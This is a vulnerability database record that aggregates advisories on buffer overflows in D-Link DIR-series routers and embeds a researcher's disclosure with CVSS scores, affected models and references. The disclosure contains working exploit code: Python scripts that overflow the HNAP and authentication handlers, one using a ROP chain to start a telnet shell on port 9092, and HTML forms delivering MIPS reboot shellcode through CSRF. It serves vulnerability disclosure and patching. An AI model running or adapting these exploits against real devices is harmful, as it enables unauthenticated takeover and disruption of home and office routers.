ID

VAR-201507-0645


TITLE

Multiple D-Link Product UPnP Buffer Overflow Vulnerabilities

Trust: 0.6

sources: CNVD: CNVD-2015-05077

DESCRIPTION

D-Link is an internationally renowned provider of network equipment and solutions, including a variety of router equipment. D-Link is a D-Link company dedicated to the research, development, production and marketing of local area networks, broadband networks, wireless networks, voice networks and related network equipment. A buffer overflow vulnerability exists in D-Link due to the program not performing correct boundary checks on user-submitted input. An attacker could use this vulnerability to execute arbitrary code in the context of an affected device and may also cause a denial of service. The following products are affected: D-Link Ethernet Broadband Router. Failed exploits may result in denial-of-service conditions. ## Advisory Information Title: DIR-880L Buffer overflows in authenticatio and HNAP functionalities. Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink) CVE: None Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061 However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes. ## Product Description DIR-880L -- Wireless AC1900 Dual-Band Gigabit Cloud Router. Mainly used by home and small offices. ## Vulnerabilities Summary Have come across 2 security issues in DIR-880 firmware which allows an attacker to exploit buffer overflows in authentication and HNAP functionalities. first 2 of the buffer overflows in auth and HNAP can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed. Also this exploit needs to be run atleast 200-500 times to bypass ASLR on ARM based devices. ## Details Buffer overflow in HNAP ---------------------------------------------------------------------------------------------------------------------- import socket import struct #Currently the address of exit function in libraray used as $PC buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + "\x10\xd0\xff\x76"+"B"*220 buf+= "\r\n" + "1\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.0.0.90", 80)) s.send(buf) ---------------------------------------------------------------------------------------------------------------------- Buffer overflow in auth ---------------------------------------------------------------------------------------------------------------------- import socket import struct buf = "GET /webfa_authentication.cgi?id=" buf+="A"*408 buf+="\x44\x77\xf9\x76" # Retn pointer (ROP1) which loads r0-r6 and pc with values from stack buf+="sh;#"+"CCCC"+"DDDD" #R0-R2 buf+="\x70\x82\xFD\x76"+"FFFF"+"GGGG" #R3 with system address and R4 and R5 with junk values buf+="HHHH"+"\xF8\xD0\xF9\x76" # R6 with crap and PC address loaded with ROP 2 address buf+="telnetd%20-p%209092;#" #actual payload which starts telnetd buf+="C"+"D"*25+"E"*25 + "A"*80 # 131 bytes of extra payload left buf+="&password=A HTTP/1.1\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.0.0.90", 80)) s.send(buf) ---------------------------------------------------------------------------------------------------------------------- ## Report Timeline * April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline. * July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor * Nov 13, 2015: A public advisory is sent to security mailing lists. ## Credit This vulnerability was found by Samuel Huntley (samhuntley84@gmail.com) . ## Details # Ping buffer oberflow ---------------------------------------------------------------------------------------------------------------------- <!-- reboot shellcode Big Endian MIPS--> <html> <body> <form id="form5" name="form5" enctype="text/plain" method="post" action="http://192.168.100.14/ping_response.cgi"> <input type="text" id="html_response_page" name="html_response_page" value="tools_vct.asp&html_response_return_page=tools_vct.asp&action=ping_test&ping_ipaddr=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%2A%BF%99%F4%2A%C1%1C%30AAAA%2A%BF%8F%04CCCC%2A%BC%9B%9CEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE%2A%BC%BD%90FFFFFFFFFFFFFFFF%3c%06%43%21%34%c6%fe%dc%3c%05%28%12%34%a5%19%69%3c%04%fe%e1%34%84%de%ad%24%02%0f%f8%01%01%01%0c&ping=ping"></td> <input type=submit value="submit"> </form> </body> </html> ---------------------------------------------------------------------------------------------------------------------- # Send email buffer overflow ---------------------------------------------------------------------------------------------------------------------- <!-- reboot shellcode Big Endian MIPS--> <html> <body> <form id="form5" name="form5" enctype="text/plain" method="post" action="http://192.168.100.14/send_log_email.cgi"> <input type="text" id="auth_active" name="auth_active" value="testy)%3b&log_email_from=test@test.com&auth_acname=sweetBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBIIII%2A%BF%99%F4%2A%C1%1C%30FFFF%2A%BF%8F%04DDDDCCCCBBBB%2A%BC%9B%9CCCC&auth_passwd=test1)&log_email_server=mail.google.com%3breboat%3b%23%23testAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAA&log_email_port=25&log_email_sender=ses@gmail.com%3brebolt%3b%23%23teYYYY%2A%BC%BD%90AAAAAAAAAAAAtest%3c%06%43%21%34%c6%fe%dc%3c%05%28%12%34%a5%19%69%3c%04%fe%e1%34%84%de%ad%24%02%0f%f8%01%01%01%0cAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAA&model_name=test&action=send_log_email&test=test"></td> <input type=submit value="submit"> </form> </body> </html> ---------------------------------------------------------------------------------------------------------------------- ## Report Timeline * April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline

Trust: 3.42

sources: CNVD: CNVD-2015-05077 // CNVD: CNVD-2015-05076 // CNNVD: CNNVD-201508-010 // CNNVD: CNNVD-201508-011 // BID: 76012 // BID: 76014 // PACKETSTORM: 134364 // PACKETSTORM: 134369 // PACKETSTORM: 134368 // PACKETSTORM: 134366 // PACKETSTORM: 134372 // PACKETSTORM: 134370 // PACKETSTORM: 134371 // PACKETSTORM: 134373

IOT TAXONOMY

category:['IoT', 'Network device']sub_category: -

Trust: 1.2

sources: CNVD: CNVD-2015-05077 // CNVD: CNVD-2015-05076

AFFECTED PRODUCTS

vendor:dlinkmodel:ethernet broadband routerscope: - version: -

Trust: 1.2

vendor:d linkmodel:dir-890l 1.06b04scope: - version: -

Trust: 0.6

vendor:d linkmodel:dir-880l 1.04wwb01scope: - version: -

Trust: 0.6

vendor:d linkmodel:dir-880l 1.04fbb01scope: - version: -

Trust: 0.6

vendor:d linkmodel:dir-825scope:eqversion:0

Trust: 0.6

vendor:d linkmodel:dir-818lw a1 1.04b03scope: - version: -

Trust: 0.6

vendor:d linkmodel:dir-818lw 1.04fbb01scope: - version: -

Trust: 0.6

vendor:d linkmodel:dir-817lw b1 1.03b05scope: - version: -

Trust: 0.6

vendor:d linkmodel:dir-817lw 1.06b04scope: - version: -

Trust: 0.6

vendor:d linkmodel:dir-815 2.04b01scope: - version: -

Trust: 0.6

vendor:d linkmodel:dir-645 1.05b01scope: - version: -

Trust: 0.6

vendor:d linkmodel:dir-601scope:eqversion:0

Trust: 0.6

sources: CNVD: CNVD-2015-05077 // CNVD: CNVD-2015-05076 // BID: 76012 // BID: 76014

CVSS

SEVERITY

CVSSV2

CVSSV3

CNVD: CNVD-2015-05077
value: HIGH

Trust: 0.6

CNVD: CNVD-2015-05076
value: HIGH

Trust: 0.6

CNVD: CNVD-2015-05077
severity: HIGH
baseScore: 7.5
vectorString: AV:N/AC:L/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 10.0
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

CNVD: CNVD-2015-05076
severity: HIGH
baseScore: 7.5
vectorString: AV:N/AC:L/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 10.0
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

sources: CNVD: CNVD-2015-05077 // CNVD: CNVD-2015-05076

THREAT TYPE

remote

Trust: 1.2

sources: CNNVD: CNNVD-201508-010 // CNNVD: CNNVD-201508-011

TYPE

buffer overflow

Trust: 1.2

sources: CNNVD: CNNVD-201508-010 // CNNVD: CNNVD-201508-011

PATCH

title:Patch for multiple D-Link product UPnP buffer overflow vulnerabilitiesurl:https://www.cnvd.org.cn/patchInfo/show/61829

Trust: 0.6

title:Patch for multiple D-Link product HTTP buffer overflow vulnerabilitiesurl:https://www.cnvd.org.cn/patchInfo/show/61827

Trust: 0.6

sources: CNVD: CNVD-2015-05077 // CNVD: CNVD-2015-05076

EXTERNAL IDS

db:BIDid:76012

Trust: 1.5

db:BIDid:76014

Trust: 1.5

db:DLINKid:SAP10061

Trust: 1.1

db:DLINKid:SAP10060

Trust: 1.1

db:CNVDid:CNVD-2015-05077

Trust: 0.6

db:CNVDid:CNVD-2015-05076

Trust: 0.6

db:CNNVDid:CNNVD-201508-010

Trust: 0.6

db:CNNVDid:CNNVD-201508-011

Trust: 0.6

db:PACKETSTORMid:134364

Trust: 0.1

db:PACKETSTORMid:134369

Trust: 0.1

db:PACKETSTORMid:134368

Trust: 0.1

db:PACKETSTORMid:134366

Trust: 0.1

db:PACKETSTORMid:134372

Trust: 0.1

db:PACKETSTORMid:134370

Trust: 0.1

db:PACKETSTORMid:134371

Trust: 0.1

db:PACKETSTORMid:134373

Trust: 0.1

sources: CNVD: CNVD-2015-05077 // CNVD: CNVD-2015-05076 // BID: 76012 // BID: 76014 // PACKETSTORM: 134364 // PACKETSTORM: 134369 // PACKETSTORM: 134368 // PACKETSTORM: 134366 // PACKETSTORM: 134372 // PACKETSTORM: 134370 // PACKETSTORM: 134371 // PACKETSTORM: 134373 // CNNVD: CNNVD-201508-010 // CNNVD: CNNVD-201508-011

REFERENCES

url:http://www.securityfocus.com/bid/76012

Trust: 1.2

url:http://www.securityfocus.com/bid/76014

Trust: 1.2

url:http://securityadvisories.dlink.com/security/publication.aspx?name=sap10061

Trust: 1.1

url:http://securityadvisories.dlink.com/security/publication.aspx?name=sap10060,

Trust: 0.8

url:http://www.dlink.com/

Trust: 0.6

url:http://purenetworks.com/hnap1/getdevicesettings/xx"

Trust: 0.5

url:http://securityadvisories.dlink.com/security/publication.aspx?name=sap10060

Trust: 0.3

url:http://192.168.0.1/authentication.cgi'

Trust: 0.1

url:http://192.168.100.14/send_log_email.cgi">

Trust: 0.1

url:http://192.168.100.14/ping_response.cgi">

Trust: 0.1

url:http://purenetworks.com/hnap1/getdevicesettings\r\nhnap_auth:

Trust: 0.1

url:http://purenetworks.com/hnap1/getdevicesettings/

Trust: 0.1

url:http://purenetworks.com/hnap1/getdevicesettings/"+"a"*4138+"\x2a\xbc\x8c\xa0"+"d"*834+"\r\n"

Trust: 0.1

sources: CNVD: CNVD-2015-05077 // CNVD: CNVD-2015-05076 // BID: 76012 // BID: 76014 // PACKETSTORM: 134364 // PACKETSTORM: 134369 // PACKETSTORM: 134368 // PACKETSTORM: 134366 // PACKETSTORM: 134372 // PACKETSTORM: 134370 // PACKETSTORM: 134371 // PACKETSTORM: 134373 // CNNVD: CNNVD-201508-010 // CNNVD: CNNVD-201508-011

CREDITS

Samuel Huntley

Trust: 2.6

sources: BID: 76012 // BID: 76014 // PACKETSTORM: 134364 // PACKETSTORM: 134369 // PACKETSTORM: 134368 // PACKETSTORM: 134366 // PACKETSTORM: 134372 // PACKETSTORM: 134370 // PACKETSTORM: 134371 // PACKETSTORM: 134373 // CNNVD: CNNVD-201508-010 // CNNVD: CNNVD-201508-011

SOURCES

db:CNVDid:CNVD-2015-05077
db:CNVDid:CNVD-2015-05076
db:BIDid:76012
db:BIDid:76014
db:PACKETSTORMid:134364
db:PACKETSTORMid:134369
db:PACKETSTORMid:134368
db:PACKETSTORMid:134366
db:PACKETSTORMid:134372
db:PACKETSTORMid:134370
db:PACKETSTORMid:134371
db:PACKETSTORMid:134373
db:CNNVDid:CNNVD-201508-010
db:CNNVDid:CNNVD-201508-011

LAST UPDATE DATE

2025-07-09T23:18:15.386000+00:00


SOURCES UPDATE DATE

db:CNVDid:CNVD-2015-05077date:2015-08-03T00:00:00
db:CNVDid:CNVD-2015-05076date:2015-08-03T00:00:00
db:BIDid:76012date:2015-07-23T00:00:00
db:BIDid:76014date:2015-07-17T00:00:00
db:CNNVDid:CNNVD-201508-010date:2015-08-04T00:00:00
db:CNNVDid:CNNVD-201508-011date:2015-08-04T00:00:00

SOURCES RELEASE DATE

db:CNVDid:CNVD-2015-05077date:2015-08-03T00:00:00
db:CNVDid:CNVD-2015-05076date:2015-08-03T00:00:00
db:BIDid:76012date:2015-07-23T00:00:00
db:BIDid:76014date:2015-07-17T00:00:00
db:PACKETSTORMid:134364date:2015-11-16T17:29:07
db:PACKETSTORMid:134369date:2015-11-16T17:33:09
db:PACKETSTORMid:134368date:2015-11-16T17:32:23
db:PACKETSTORMid:134366date:2015-11-16T17:30:45
db:PACKETSTORMid:134372date:2015-11-16T17:36:22
db:PACKETSTORMid:134370date:2015-11-16T17:34:06
db:PACKETSTORMid:134371date:2015-11-16T17:34:57
db:PACKETSTORMid:134373date:2015-11-16T17:37:16
db:CNNVDid:CNNVD-201508-010date:2015-07-23T00:00:00
db:CNNVDid:CNNVD-201508-011date:2015-07-17T00:00:00